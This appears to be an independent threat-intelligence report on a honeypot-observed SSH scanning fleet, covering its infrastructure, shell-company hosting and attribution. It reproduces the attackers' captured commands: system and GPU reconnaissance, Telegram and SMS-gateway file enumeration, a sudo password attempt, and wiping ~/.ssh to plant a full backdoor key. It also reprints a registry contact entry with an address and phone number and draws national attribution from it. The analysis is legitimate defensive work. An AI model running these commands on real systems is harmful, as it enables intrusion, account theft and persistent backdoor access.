LSN โ€” Local Sovereign Network

TI-2026-058A โ€ข SERIES: THE OPERATORS โ€ข CONFIDENCE: HIGH

โš™๏ธ The Go Machine

Anatomy of a 22-Node Automated Reconnaissance Platform

Published: 1 July 2026 Sources: Cowrie Honeypot, RIPE DB, Entity Crosslinks, HASSH Analysis Related: TI-2026-056Aโ€“F (The Codebook), TI-2026-050D (The Machinery)

I. The Fingerprint That Connects 22 Machines

In cryptographic network forensics, HASSH is a fingerprint derived from the SSH key exchange algorithm negotiation. Two machines producing identical HASSH values are running the same SSH client implementation โ€” same library, same compile options, same version. It is the DNA of the tool.

Fingerprint 2ec37a7cc8daf20b10e1ad6221061ca5 appears across 22 distinct IP addresses in our honeypot data. Every single one identifies itself as SSH-2.0-Go.

THE CLUSTER

IP AddressCountryASNOrganizationSessions
91.92.40.204NL197170TechTies Inc., SC15
91.92.40.10NL197170TechTies Inc., SCโ€”
91.92.40.11NL197170TechTies Inc., SCโ€”
91.92.40.13NL197170TechTies Inc., SCโ€”
91.92.40.233NL197170TechTies Inc., SCโ€”
91.92.40.240NL197170TechTies Inc., SCโ€”
91.92.40.8NL197170TechTies Inc., SC7
91.92.240.199DE202412Omegatech LTD, SC13
91.92.243.116NL202412Omegatech LTD, SC12
92.118.39.14RO47890UNMANAGED LTD, GB11
92.118.39.71RO47890UNMANAGED LTD, GBโ€”
92.118.39.77RO47890UNMANAGED LTD, GBโ€”
195.178.110.217NL48090DMZHOST/TECHOFF SRV, GB27
167.71.71.212โ€”โ€”DigitalOceanโ€”
178.16.52.166โ€”โ€”โ€”โ€”
193.32.162.84โ€”โ€”โ€”โ€”
2.57.122.168โ€”โ€”โ€”โ€”
204.168.213.157โ€”โ€”โ€”โ€”
213.156.133.33FR210403Groupe LWS SARL, FR14
216.48.191.18โ€”โ€”โ€”โ€”
51.15.4.95โ€”โ€”Scalewayโ€”
64.227.174.89โ€”โ€”DigitalOceanโ€”

This is not coincidence. This is a fleet. Twenty-two machines running identical Go binaries, executing identical command sequences, sharing the same HASSH fingerprint. They were compiled from the same source code, deployed simultaneously across multiple hosting providers, and operated as a unified reconnaissance platform.

II. The Shell Companies Behind the Fleet

The fleet operates across four Autonomous Systems, three of which are registered to Seychelles shell companies:

CORPORATE STRUCTURE

AS197170 โ€” TechTies Inc.
Address: 306 Victoria House, Victoria Mahe, Seychelles
Contact: TIN51-RIPE (24ร—7 NOC role โ€” no named individual)
Created: 20 May 2026 โ€” six weeks old
Abuse: abuse@tech-ties.net
Cluster nodes: 7 (the 91.92.40.x subnet)

AS202412 โ€” Omegatech LTD
Address: House of Francis, Room 303, Ile du Port, Mahe, Seychelles
Contact: CA12141-RIPE (Abuse Contact role โ€” no named individual)
Created: 5 January 2026
Abuse: abuse@omegatech.sc
Cluster nodes: 2 (91.92.240.199, 91.92.243.116)

AS48090 โ€” DMZHOST / TECHOFF SRV LIMITED
Registered: GB
Hosting the Metronome (195.178.110.217) โ€” documented in TI-2026-056B
Cluster nodes: 2 (195.178.110.217, 45.148.10.121)

AS47890 โ€” UNMANAGED LTD
Registered: GB
The 92.118.39.x Romanian subnet
Cluster nodes: 3

Note what unites them: TechTies was created on 20 May 2026. Our honeypot first observed activity from this cluster on 21 May 2026. The ASN registration and the attack campaign began on consecutive days. This is a purpose-built infrastructure โ€” the company was created specifically to operate this scanning fleet.

III. The Nine-Phase Payload

Every node in the Go Machine executes an identical command sequence. We have captured it 82+ times from 12 different IPs. The payload is not random โ€” it is a precisely ordered nine-phase reconnaissance protocol:

PHASE 1: System Identification (Multi-Method)

uname -s -v -n -m 2 > /dev/null
/bin/uname -s -v -n -m 2 > /dev/null
/usr/bin/uname -s -v -n -m 2 > /dev/null
busybox uname -s -v -n -m 2 > /dev/null
[ -f /proc/version ]
head -1 /proc/version | cut -d -f1
[ -f /etc/os-release ]

Seven different methods to extract the same information. This handles every Linux variant: standard, embedded (busybox), minimal containers, and non-standard PATH configurations. Defense-grade fallback logic.

PHASE 2: Hardware Valuation

cat /proc/cpuinfo
nproc
lscpu | grep "Model name"
lspci | grep -i vga
lspci | grep -i nvidia

CPU model, core count, and GPU detection. They are specifically looking for NVIDIA hardware. This is cryptomining reconnaissance โ€” or AI compute theft.

PHASE 3: Memory Threshold Check

m=0; while read k v r; do [ "$k" = MemTotal: ] && { m=$v; break; }
done < /proc/meminfo; [ "$m" -gt 1048576 ] && echo 1 || echo 0

Binary check: is memory > 1 GB? The machine is only valuable if it passes. This is a quality filter โ€” they are building an inventory of high-value targets.

PHASE 4: Competing Malware Detection

ps | grep '[Mm]iner'
ps -ef | grep '[Mm]iner'

Are other miners already running? A machine with an existing miner may not be worth the effort โ€” or may indicate a competing operator whose presence must be removed.

PHASE 5: Telegram/GSM Theft

ls -la ~/.local/share/TelegramDesktop/tdata
     /home/*/.local/share/TelegramDesktop/tdata
     /dev/ttyGSM* /dev/ttyUSB-mod*
     /var/spool/sms/* /var/log/smsd.log
     /etc/smsd.conf* /usr/bin/qmuxd
     /var/qmux_connect_socket /etc/config/simman
     /dev/modem* /var/config/sms/*

This is the most disturbing phase. They are looking for:
โ€ข Telegram session data (tdata directory = full account takeover)
โ€ข GSM modem control (ttyGSM, ttyUSB-mod = physical SIM management)
โ€ข SMS gateway infrastructure (smsd, qmuxd, simman)
These machines are not just servers. They are telecom infrastructure โ€” SMS verification farms, VoIP gateways, mobile relay stations. The operator wants to steal the communication channels themselves.

PHASE 6: MikroTik Detection

/ip cloud print

RouterOS command. If this succeeds, the target is a MikroTik router โ€” a different asset class entirely (network infrastructure, MITM capability, traffic interception).

PHASE 7: Implant Marker Check

locate D877F783D5D3EF8Cs

A 16-character hex string used as a watermark. If found, this machine was already compromised by this same operator in a previous campaign. It's a territory marker โ€” like a gang tag sprayed on a wall.

PHASE 8: Shell Behavior Fingerprinting

printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250
printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250

Execute deliberately non-existent commands and capture the error messages. Different shells, containers, and honeypots produce different error formats. This is honeypot detection โ€” they are testing whether the environment is real.

PHASE 9: Privilege Escalation + Backdoor

echo '123456' | sudo -S bash -c '...'
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAA...oRw== mdrfckr">>.ssh/authorized_keys

The final phase: attempt sudo using the login password, then plant an SSH public key labeled "mdrfckr" (motherfucker). This key provides persistent access regardless of password changes. The system is now owned.

IV. The Metronome Connection

IP 195.178.110.217 โ€” documented extensively in TI-2026-056B as "The Metronome" โ€” is confirmed as a member of this Go cluster. Same HASSH, same commands, same binary. But the Metronome has a unique characteristic: it operates at 105.8-second intervals with 3.2% coefficient of variation.

This tells us something critical about the cluster's architecture:

  • The scanning nodes (91.92.x.x, 92.118.x.x) execute bursts of activity
  • The Metronome executes the same payload but on a timer
  • One is the hunting pack, the other is the sentinel

The Metronome isn't scanning for new targets. It's re-checking known compromises. Every 105.8 seconds, it verifies that previously-owned machines are still accessible. It is the heartbeat monitor for an inventory of enslaved systems.

V. The Anastasiia Connection

A second cluster operates alongside the Go Machine. Different fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963. Client: SSH-2.0-libssh2_1.11.1. Five nodes:

THE W1N CLUSTER

IPCountryASNOrganization
185.246.128.133SE42237w1n ltd, GB
193.105.134.45SE42237w1n ltd, GB
193.105.134.95SE42237w1n ltd, GB
31.170.22.205LV42099Sia Nano IT
31.170.22.196LV42099Sia Nano IT

AS42237 (w1n) is registered to ORG-WL303-RIPE with admin and tech contact AA39751-RIPE. RIPE reveals:

RIPE REGISTRATION: AA39751-RIPE

role:        Anastasiia
address:     UNITED KINGDOM
address:     Doncaster
address:     DN6 8DA
address:     Dept 302, 43 Owston Road, Carcroft
phone:       +380502309318
created:     2022-07-07T07:42:10Z
last-modified: 2026-01-09T11:38:38Z

Key observations:

  • The role name is "Anastasiia" โ€” a Ukrainian female name
  • The phone number +380 is a Ukrainian mobile prefix
  • The address is in Doncaster, England โ€” a known mail-forwarding location
  • "Dept 302" strongly suggests a virtual office / mail drop
  • The company phone listed as +3805023019318 has an extra digit โ€” likely intentionally malformed to prevent callbacks

This is the pattern: Ukrainian operator, UK shell company registration, Latvian and Swedish hosting. Three jurisdictions between the operator and the infrastructure. And the w1n cluster feeds data to the same network โ€” same credentials (admin/admin, admin/123456), same temporal patterns.

VI. What They're Building

Synthesizing the command payload with the infrastructure analysis, the Go Machine is constructing a multi-dimensional asset inventory:

INVENTORY CATEGORIES

CategoryDetection MethodMarket Value
GPU-equipped serverslspci nvidiaCryptomining / AI compute rental
High-memory machines>1GB meminfo checkGeneral compute
Telegram accountstdata directory scanIdentity theft, scam operations
GSM/SMS gatewaysttyGSM, smsd, qmuxdVerification farms, 2FA bypass
MikroTik routers/ip cloud printTraffic interception, VPN endpoints
Previously-owned hostsD877F783D5D3EF8C markerRe-access (persistent inventory)

This is not brute-force scanning. This is automated real-estate appraisal. Each compromised machine is categorized, valued, and catalogued. The different asset classes suggest different downstream buyers or operational divisions:

  • GPU farm โ†’ cryptomining or rented compute (pennies per hour, millions of hosts = millions per year)
  • Telegram data โ†’ account takeover operations, blackmail material, identity fraud
  • GSM infrastructure โ†’ SMS verification service (sell access at $0.10โ€“$1.00 per verification)
  • Routers โ†’ VPN-as-a-service for criminals, residential proxy networks

VII. The mdrfckr Key

The SSH public key planted in Phase 9 deserves special attention:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcw
dli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+
0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTF
B+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAK
GwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+
u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rB
LAsPKgAySVKPRK+oRw== mdrfckr

This key has been documented in public threat intelligence since at least 2019. It is associated with the Outlaw/Dota botnet โ€” a Perl-based IRC botnet focused on cryptomining. The "mdrfckr" label is the operator's signature, unchanged for 7+ years.

Our earlier investigations (TI-2026-050D "The Machinery") documented this operator changing tools approximately one month ago โ€” May 2026. The timeline is now crystal clear:

TOOL MIGRATION TIMELINE

  • 2019โ€“April 2026: Perl-based IRC botnet (classic Outlaw/Dota)
  • May 2026: Tool change detected in our honeypot observations
  • 20 May 2026: TechTies Inc. AS197170 registered at RIPE
  • 21 May 2026: First Go cluster activity observed in Cowrie
  • 5 January 2026: Omegatech LTD AS202412 pre-staged (infrastructure prep)

This is not a franchise or false flag. This is the same operator who upgraded from Perl to Go, registered fresh shell companies for clean infrastructure, and deployed a dramatically more sophisticated reconnaissance platform. The mdrfckr key is retained as persistent access โ€” the one constant across the retooling. Seven years of the same SSH key means seven years of machines with that key in authorized_keys, all still accessible regardless of the scanning tool evolution.

The retooling explains the sophistication gap: Outlaw's Perl scripts were crude IRC-controlled miners. The Go Machine is a multi-phase reconnaissance platform with honeypot detection, GPU valuation, and telecom infrastructure theft. Same operator, radically upgraded capability. The criminal enterprise matured.

VIII. Operational Tempo

From our heatmap data (last 7 days):

ACTIVITY CONCENTRATION

  • Wednesday 02:00โ€“04:00 UTC: 2,074 sessions (primary burst)
  • Wednesday 19:00 UTC: 776 sessions (secondary burst)
  • Thursday 05:00 UTC: 116 sessions (residual)
  • Tuesday 09:00โ€“11:00 UTC: 113 sessions (setup phase?)

Background noise (all other days): 1โ€“15 sessions/hour

The Wednesday pattern โ€” documented across the entire Codebook series (TI-2026-056D) โ€” is clearly visible in the Go Machine's operations. This confirms the 22-node cluster is part of the broader Codebook network, not an independent actor. Same timing, same infrastructure ecosystem, same operational cadence.

IX. Conclusions

FINDINGS

  1. The Go Machine is a 22-node automated reconnaissance platform operated as a unified fleet with identical binaries, sharing HASSH fingerprint 2ec37a7cc8daf20b10e1ad6221061ca5
  2. TechTies Inc. (AS197170) was created one day before operations began โ€” purpose-built attack infrastructure with Seychelles incorporation for jurisdictional immunity
  3. The command payload classifies targets into 6 asset categories including GPU hardware, Telegram accounts, and GSM infrastructure โ€” suggesting a supply-chain operation serving multiple criminal markets
  4. The mdrfckr SSH key links this operation to the Outlaw botnet lineage (2019+) but with dramatically upgraded tooling โ€” Go instead of Perl, sophisticated honeypot detection, multi-tier valuation
  5. "Anastasiia" (AA39751-RIPE) operates the w1n cluster โ€” Ukrainian phone, UK mail drop, Swedish/Latvian hosting โ€” a parallel reconnaissance operation linked by shared temporal patterns and credential vocabulary
  6. Both clusters feed the Wednesday primary transmission documented in TI-2026-056D, confirming integration into the broader Codebook communication network
โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Operators โ€” 1 / 15 Next โ†’